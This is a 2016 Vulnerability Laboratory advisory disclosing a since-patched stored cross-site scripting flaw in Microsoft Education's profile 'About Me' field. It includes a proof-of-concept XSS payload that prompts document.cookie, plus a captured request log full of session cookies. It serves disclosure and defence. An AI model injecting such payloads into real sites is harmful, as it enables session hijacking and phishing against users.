Microsoft Education - Stored Cross Site Web Vulnerability

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Document Title:
===============
Microsoft Education - Stored Cross Site Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1897


Release Date:
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2016-08-10


Vulnerability Laboratory ID (VL-ID):
====================================
1897


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
Our mission is creating immersive and inclusive experiences that inspire lifelong learning, stimulating development of 
essential life skills and supporting 
educators in guiding and nurturing student passions. We empower students and educators to create and share in entirely 
new ways, to teach and learn through 
exploration, to adapt to individual learning needs, so they can make, design, invent and build with technology.

(Copy of the Vendor Homepage:  https://www.microsoft.com/en-us/education )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a stored cross site scripting vulnerability in the official 
Microsoft Education online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-05-01: Researcher Notification & Coordination (SaifAllah benMassaoud)
2016-04-03: Vendor Notification (Microsoft Security Response Center - MSRC)
2016-05-19: Vendor Fix/Patch (Microsoft Developer Team - Online Services)
2016-06-07: Security Acknowledgements (Microsoft Security Response Center - MSRC)
2016-08-10: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Microsoft Corporation
Product: Education - Online Service (Web-Application) 2016 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A stored cross site scripting web vulnerability has been discovered in the official Microsoft Education online service 
web-application.
The Stored cross site vulnerability allows remote attacker to inject own malicious script codes to the application-side 
of the module.

The stored cross site scripting web vulnerability is located in the `Default.aspx` file GET method request. During the 
exploitation the 
victim education account retrieves the malicious script to the server when it requests the stored database information. 
The attack vector 
of the issue is application-side and the request method to inject the payload is POST. The execution occurs in the 
default.aspx file 
context after the review of the about me page via GET method request. 

The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring 
system) count of 3.6. 
Exploitation of the input validation web vulnerability requires a low privileged web-application user account and low 
or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent 
external redirects to malicious 
source and persistent manipulation of affected or connected application modules.


Request Method(s):
[+] GET

Vulnerable Module(s):
[+] /Create-My-Account/

Vulnerable File(s):
[+] Default.aspx

Affected Module(s):
[+] About Me


Proof of Concept (PoC):
=======================
The stored xss vulnerability can be exploited by remote attackers with low privileged web-application user account and 
low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.


PoC: HTML 
<div class="redactor-editor" contenteditable="true" dir="ltr" placeholder="We want to know a little more about you! 
Where are you from? What are you passionate about? What do you do professionally? Why are you in the academic field?" 
style="min-height: 150px;">
<p><a href="&quot;&gt;&lt;[SCRIPT CODE PAYLOAD EXECUTE!]img src=x onerror=prompt(document.cookie);&gt;">"&gt;&lt;img 
src=x onerror=prompt(0);&gt;</a>​</p></div>


--- PoC Session Logs [GET] (Execution) ---
GET /trans_pixel.aspx?wcs.et=2&wcs.tz=2&wcs.cot=1&wcs.route=&wcs.ctrl=&wcs.ts=1463674117956&
wcs.fpc=ID%253D291ac77c5e905943ad046577432c9425%2526CS%253D3%2526LV%253D201511%2526V%253D1&wcs.cd=0&wcs.eid=67b042c8-b3bb-71f5-d16b-
06031be4e83b&wcs.sr=1600x900&wcs.bs=1583x790&wcs.fi=1&wcs.fv=21.0&wcs.rsd=education.microsoft.com&wcs.rsus=%2FCreate-My-Account%2F
Default.aspx&wcs.rsqs=%3FReturnUrl%3D%252f%23_%3D_&wcs.rihs=1&wcs.cks=ANON%3DA%253D828C73A348BE94807F061C0EFFFFFFFF%2526E%253D125c
%2526W%253D4%3B&wcs.ti=Registration%20-%20Microsoft%20in%20Education&wcs.v=4&wcs.vct=1&wcs.vs=0&wcs.vclt=1&wcs.vfpv=
&wcs.cn=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt(0)%3B%3E&wcs.cid=&wcs.ct=https%3A%2F%2Feducation.microsoft.com%2F
Create-My-Account%2F%2522%253E%253Cimg%2520src%3Dx%2520onerror%3Dprompt(0)%3B%253E&ms.env=prod&ms.lang=en&ms.loc%E2%80%8B=us&wcs.tr=0
 HTTP/1.1
Host: c.microsoft.com:443
Accept: image/webp,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, lzma, sdch
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: MC1=GUID=291ac77c5e905943ad046577432c9425&HASH=7cc7&LV=201511&V=4&LU=1447064400410; 
A=I&I=AxUFAAAAAADdBwAAdL0pRuhHCnepjb2bIdKbSA!!&V=4; 
MSFPC=ID=291ac77c5e905943ad046577432c9425&CS=3&LV=201511&V=1; WT_NVR_RU=0=technet|msdn:1=:2=; 
optimizelyEndUserId=oeu1453251327367r0.715856519760564; 
omniID=1448099374032_714a_ee07_502c_bc6461068868; TocPosition=1; msdn=L=fr-fr; display-culture=fr-FR; 
s_fid=650FC362C56A0DD7-35C7C31A91483CF3; 
s_nr=1461196627753-New; gssLANG=fr; 
optimizelySegments=%7B%22223033821%22%3A%22false%22%2C%22223040836%22%3A%22referral%22%2C%22223082014%22%3A%22
opera%22%2C%22244338170%22%3A%22none%22%2C%222130980600%22%3A%22true%22%2C%222865651701%22%3A%22true%22%2C%222895200177%22%3A%22true%22%7D;
 
optimizelyBuckets=%7B%225473160785%22%3A%225458101525%22%2C%225105830997%22%3A%225111680855%22%7D; 
__CT_Data=gpv=1&apv_14334_www08=1; WRUID=0; 
WT_FPC=id=2c9326bc7e08af4878a1447158626036:lv=1462346822657:ss=1462346792730; 
_ensUUID=3dcfa3fd-018c-4cc7-81d8-d16b7b0d9da4; 
MUID=25E9410C266A62EC10184956226A6124; ANON=A=828C73A348BE94807F061C0EFFFFFFFF&E=125c&W=4; 
NAP=V=1.9&E=1202&C=-31ahom088vcpOn38Zxn6dyp2-
gvEEKs4g_KEdDhIplMkM-7ap6-CA&W=4; RioTracking.SessionASID=AxUFAAAAAADdBwAAdL0pRuhHCnepjb2bIdKbSA!!; 
_ga=GA1.2.893573494.1463672842; 
R=200700137-5/19/2016 17:54:27|200447916-12/22/2015 0:29:19; RioTracking.CellCode=200700137; RioTracking.Organic=1; 
OnlineTrackingV2.0=CTC=200700137; MS0=4b859c3e914742c8920a3999c22b5386
Referer: https://education.microsoft.com/Create-My-Account/Default.aspx?ReturnUrl=%2f
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 
OPR/37.0.2178.43
-
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 44
Content-Type: image/gif
Date: Thu, 19 May 2016 16:08:36 GMT
Expires: -1
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
Pragma: no-cache
Server: Microsoft-IIS/7.5
Set-Cookie: MS0=4b859c3e914742c8920a3999c22b5386; domain=.microsoft.com; expires=Thu, 19-May-2016 16:38:37 GMT; path=/
X-Powered-By: ASP.NET


Solution - Fix & Patch:
=======================
2016-05-19: Vendor Fix/Patch (Microsoft Developer Team - Online Services)


Security Risk:
==============
The security risk of the stored cross-site-scripting vulnerability in the microsoft education service is estimated as 
medium. (CVSS 3.6)


Credits & Authors:
==================
SaifAllah benMassaoud & Zahid Mehmood - ( http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud )


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